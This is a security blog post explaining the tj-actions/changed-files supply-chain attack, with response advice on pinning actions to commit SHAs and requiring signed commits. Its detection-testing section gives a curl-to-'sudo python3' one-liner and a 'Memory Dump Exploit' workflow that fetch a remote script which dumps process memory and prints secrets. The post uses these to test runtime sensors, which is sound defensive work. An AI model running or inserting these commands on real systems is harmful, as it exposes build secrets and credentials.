Understanding and Re-Creating the tj-actions/changed-files Supply Chain Attack

Another reason runtime security is so important, and patching ain't what it seems

If you’re like me, the coolest part of this article is at the bottom where you can re-create the attack in your own environment to test your sensor! Be careful if and where you do this, it will print process memory to stdout!

It’s also worth a special thank you to Step Security for publishing these details before GitHub nuked them from their site (edit: they’re restored now).

Update 1: The repo is back online with a statement on what happened. An access token for the maintainers automated bot (tj-actions-bot), which was also over-permissioned, was compromised allowing the malicious commit to make it into the repo. Another commit then pointed the releases to the malicious commit, triggering the exploit. Since then, the maintainer has removed the compromised permissions, and turned on signed commits.

Update 2: Unfortunately, the only way to confirm what happened would be with the GitHub org audit logs. The maintainer said a PAT was lost for a tj-actions-bot, which could be the “user” that made the commit. However, it’s still unclear exactly how that code got pushed.

My working theory is:

1. tj-actions-bot PAT spoofs renovatebot commit with malicious code and has permissions to push it to an unprotected branch, then delete that branch. There are other ways orphaned commits can get pushed as well though.

2. Attacker uses PAT to also update release tags, pointing them to the malicious commit

3. jackton1 tries reverting some commit and in the process “re-pushes” the infected commit and it shows up as pushed by his account in the pull request.

The only way to prove this would be with the organization GitHub audit logs, which we don’t have. Another reminder that open source shouldn’t be taken for granted - we honestly have almost zero insight into these repos.

What happened?

tj-actions is a common GitHub Action that collects data about file changes in a pull request. For example, you could use it to spit out a list of changed files, and then the next step in your CI job would be to run a scanner/testing on only those files.

A change was deployed to all versions of the Action that printed environment variables (build secrets) to the logs of the job. It does not appear they were actually exfiltrated to an external attacker server.

Here’s an example GitHub action to get an idea of how tj-actions was used:

name: Check Changed Files

on:
  pull_request:
    branches: [ main ]

jobs:
  check-changes:
    runs-on: ubuntu-latest
    steps:
      - uses: actions/checkout@v4

      - name: Get changed files
        id: changed-files
        uses: tj-actions/changed-files@v44

      - name: Run tests if Python files changed
        if: steps.changed-files.outputs.any_changed == 'true'
        run: |
          echo "Changed files: ${{ steps.changed-files.outputs.all_changed_files }}"
          # Run your commands, e.g. pytest
          pytest

Who would be effected?

1. In a strict sense, based on what we know about the script before it was removed by GitHub, the attacker only printed env vars to logs, so you would only be effected if your logs/repo were publicly available

2. Because of potential changes to the code and unknowns since it was taken down, it’s theoretically possible but highly unlikely private repos would be effected

3. Update: now that the repo is back, it's even more unlikely anything was done that would impact private repos

As a responder, what do I need to do right now?

1. If you don’t run a public repo, technically, nothing. GitHub took down the compromised repo (edit, the repo is back up and seems to have removed the malicious code), but you definitely should still do these other things when you can. If you do run a public repo that uses this action, you need to rapidly rotate your keys and check for further indicators of compromise, it’s decently likely you were targeted!

2. Search your organization’s code base for `tj-actions`, and delete the action anywhere it’s in use. Talk to your DevOps team about updating however you were using it, Step Security provided a free mirror. (Edit: the original GitHub repo is back up and seems to have removed the malicious code, but probably pin it to a commit)

3. Since the attacker script dumped the memory, only secrets referenced in your job would be leaked. Anywhere you use tj-actions, check the runner logs to see what was leaked, or check for secret references in the GitHub action.

4. Even in a private repo, you don’t want secrets hanging out in your logs. You can delete the logs (consider downloading them first). In my opinion, whether or not you rotate these keys depends on your risk profile and the pain in doing so - the question is: “do I care that anyone who had access to these logs had access to these secrets?” Also check if you log these actions anywhere else.

As a responder, what should I think about doing on Monday?

1. Consider pinning your GitHub Actions to commit SHAs instead of versions:

Less Secure Example (Vulnerable to Tag Hijacking):

steps:
  - uses: actions/checkout@v4

  - name: Set up Python
    uses: actions/setup-python@v5 # 👈 could be modified in the future

More Secure Example (Pinned to a Trusted Commit SHA):

steps:
  - uses: actions/checkout@v4

  - name: Set up Python
    uses: actions/setup-python@0d5721d53e49ed09190f92e6d62c32decc3e9640 # ✅ specific, trusted commit SHA

To find commit SHAs, you got to the commits page of a GitHub repo and copy the commit, example.

2. Consider and communicate the maintenance trade-off this will create. Here’s why people don’t always do this:

   1. Requires manual verification of the version and commit sha matching

   2. Is less readable

   3. Requires manual updates, or special configuration of tools like renovate

3. In an ideal state, we’d probably use semantic versioning for trusted third parties, and commit SHAs for open source projects, but this can also be confusing for developers, which is why most people pick one approach or the other. Additionally, GitHub is working on immutable tagging.

4. Consider runtime security monitoring for your managed CI/CD runners. Step Security, who reported the vulnerability, provide one flavor of this, but there are many. Step Security provides either their maintained forked versions of common public actions, or a base runner for your actions that’s monitored with eBPF. Cycode provides an eBPF agent to monitor your own pipelines. Modern runtime cloud tools like Upwind, Sweet, ARMO, etc. (see testing below) provide anomaly detection agents that work the same on your runners as they would anywhere else. More on this later.

Breaking Down the Attack

How exactly the attacker pushed the update is still speculative - an unfortunate reality of not having GitHub logs for public repos. In their response, the repo owner said signed commits are required, but it’s clear they weren’t required all of the time and for all of the files based on the commit history. Update: I reached out to the owner and confirmed that signed commits were only turned on after the attack. Ultimately, the attacker pushed a file change spoofing renovate[bot] using a personal access token that was compromised.

The updated code pinned all versions to the new commit SHA, fetching an additional python script with some obfuscated (just base64 encoded) code. That script then used some python to dump the memory, look for secrets via regex, and print them to the job logs (also base64 encoded).

This attack feels really weird to me, in a way that it seems like it was targeting some number of specific public projects rather than trying to really hit everyone in the ecosystem. Here’s why:

1. It’s just using base64 encoding instead of more advanced obfuscation, like compressing and encrypting them

2. It relies on public logs instead of shipping the secrets somewhere

Update 1: The repo is back online with a statement on what happened.

This attack appears to have been conducted from a PAT token linked to @tj-actions-bot account to which "GitHub is not able to determine how this PAT was compromised."

Account Security Enhancements

1. The password for the tj-actions-bot account has been updated.

2. Authentication has been upgraded to use a passkey for enhanced security.

3. The tj-actions-bot account role has been updated to ensure it has only the minimum necessary permissions.

GitHub proactively revoked the compromised Personal Access Token (PAT) and flagged the organization to prevent further exploitation.

Update 2: Important comment about the merge from hackernews. This comment ended up not being what happened, but it’s nonetheless an important reminder to not auto build on the presence of tags

The affected repo has now been taken down, so I am writing this partly from memory, but I believe the scenario is:

1. An attacker had write access to the tj-actions/changed-files repo

2. The attacker chose to spoof a Renovate commit, in fact they spoofed the most recent commit in the same repo, which came from Renovate

3. Important: this spoofing of commits wasn't done to "trick" a maintainer into accepting any PR, instead it was just to obfuscate it a little. It was an orphan commit and not on top of main or any other branch

4. As you'd expect, the commit showed up as Unverified, although if we're being realistic, most people don't look at that or enforce signed commits only (the real bot signs its commits)

5. Kind of unrelated, but the "real" Renovate Bot - just like Dependabot presumably - then started proposing PRs to update the action, like it does any other outdated dependency

6. Some people had automerging of such updates enabled, but this is not Renovate's default behavior. Even without automerging, an action like this might be able to achieve its aim only with a PR, if it's run as part of PR builds

7. This incident has reminded that many people mistakenly assume that git tags are immutable, especially if they are in semver format. Although it's rare for such tags to be changed, they are not immutable by design

As a brief aside, you may be wondering “what if I have one GitHub action that calls another GitHub action with malicious code, transitive action vulnerabilities!” Nir at Arnica helpfully pointed out to me that these attacks won’t work, because downstream GitHub actions don’t automatically get access to secrets - the first action needs to explicitly provide what it’s sending to the second. Tagging Arnica reminds me to say that a lot of ASPM scanning tools can detect and search for un-pinned GitHub actions.

How it could’ve been way worse

1. My suspicion, from their shared example page, is that step security only caught the change because it went to gist.githubusercontent.com instead of github.com directly. If the attacker had just hosted their code on Github instead of gist, I’m not sure when it would’ve been detected. For clarity, it’s possible they do process monitoring too, I just don’t see it on their example page.

2. If the attacker had sent the payload to an external resource, private repos would’ve been effected

3. The attacker could’ve further obfuscated their intentions - from the script used to how the payload was sent, I want to be careful about sharing some other techniques that are out there, but ChatGPT would probably tell you!

What (probably) would’ve prevented this?

1. Editing this in now that we think the commit was done by an over-permissioned access token for the renovate bot. This brings us into the well known space of non-human identities (NHI) and monitoring API keys. At the end of the day, you need a good process for keeping track of these keys.

2. The repo’s maintainer seems to have turned signed commits on but these were not on at the time of the attack. Personal access tokens can’t sign commits, and the screenshot of the commit shows it was unverified.

3. The core of the problem is that we continue to treat open source projects like trusted vendors, when they’re not. This is why I’ve always loved Tidelift, where you pay and treat these projects like actual vendors.

4. Pinning GitHub actions, or forking them internally and pinning, prevents this from happening. But as we discussed earlier, this is inconvenient and it sucks you have to do it.

A lot of vendor responses so far are: “use our eBPF agent on your CI/CD runners to stop this” - to which I say, sometimes. The fact is that enforcing runtime protections on runners is complicated - they’re building different workloads constantly, and so their actions are likewise changing constantly. In my experience, these tend to generate more noise than it’s worth

Test your Sensor!

Be very careful where you run this, I wouldn’t suggest doing it in production. Running this command will actually write all of your environment variables to stdout!

Just for fun, I recreated the attack (or at least the idea of it, this one grabs common process names instead of requiring the GitHub action, and skips some of the base64 encoding) and you can test it for yourself!

curl -sSfL https://gist.githubusercontent.com/confusedcrib/d8efe86193e57d146f2b00eefdaf942f/raw/45765beacbc89a428cf5914fb0d40957a928e147/memdump.py | sudo python3

A few notes on this script and testing:

1. To actually re-create the attack, you’d have to add some base64 encoding (which shouldn’t really change much) and run it in a GitHub action on your CI/CD runners. This would be a spicy thing to do. This would look something like:

name: Memory Dump Exploit

on:
  workflow_dispatch:  # Allows manual trigger

jobs:
  exploit:
    runs-on: ubuntu-latest  # GitHub's default runner
    steps:
      - name: Run Memory Dump Exploit
        run: |
          curl -sSfL https://gist.githubusercontent.com/confusedcrib/d8efe86193e57d146f2b00eefdaf942f/raw/45765beacbc89a428cf5914fb0d40957a928e147/memdump.py | sudo python3

2. In order for the methodology to work on non-GitHub runners, it will memory dump the first process or the names of any sensitive processes. The original exploit only looked at the runner process.

3. I’ve used CWPP tools on runners before, and they typically generate a lot of noise - testing this on just a Linux box won’t account for that. If I can rant for a minute, imagine vulnerability scanning a “github runner” image at runtime that builds 400 different applications - that one image is going to show having the vulnerabilities of all those applications! In the same way, these tools can often get overwhelmed in these environments, and that’s why dedicated tools like Step (who detected the attack) can still be valuable.

Here’s some tools I have access to screaming at me, yours should scream at you too!

Sweet

If you look carefully, you can see Sweet even recognizing I’m doing some troubleshooting along the way 😂. Sweet really impressed me with how it accurately captured everything that happened. I was especially happy with how it called it out as a memory dump attack.

ARMO

Detected the process and network anomalies:

Upwind

Detected processes and attack details:

Spyderbat

Detected process changes:

Conclusion:

1. Probably time to pin your GitHub actions even though it’s annoying. If you want to be an extra laid back security dev friend, consider letting ones from reputable vendors stay on semantic versioning.

2. Turn on requiring signed commits, even though it’s also annoying. Signed commits require your developers to setup gpg encryption keys on their endpoints to validate themselves. It’s a one time thing that’s sort of annoying, but not the end of the world. It does however stop them from pushing code from their phone at the movie theater - think of it as device based authentication.

3. Detecting this stuff is super scary, please invest in runtime protection. I can’t stress enough that detecting these so far have basically been accidents due to avoidable mistakes from attackers, and that’s really freaking scary.

4. eBPF on GitHub runners is still kinda new, and these usually have noise tradeoffs. So while I tested the detection and that’s neat, in a real environment some of these might go crazy with noise.

5. We desperately need to broaden our perspective on open source security from CVE hunting to risk assessing our third party providers. Now that the repo is back online it’s clear this is only really one person’s side project. Once again we’re surprised when something bad happens when they don’t have perfect security configurations.

Fun addendum detections, Arnica looking for malicious actions instead of just flagging the lack of commit SHA pinning:

Apiiro has a collection of semgrep rules that look for obfuscated code. I recreated the commit and it caught it, but also had 250 other findings. They also provide a self hosted GitHub app solution for maintainers to check every push for obfuscation (see comments)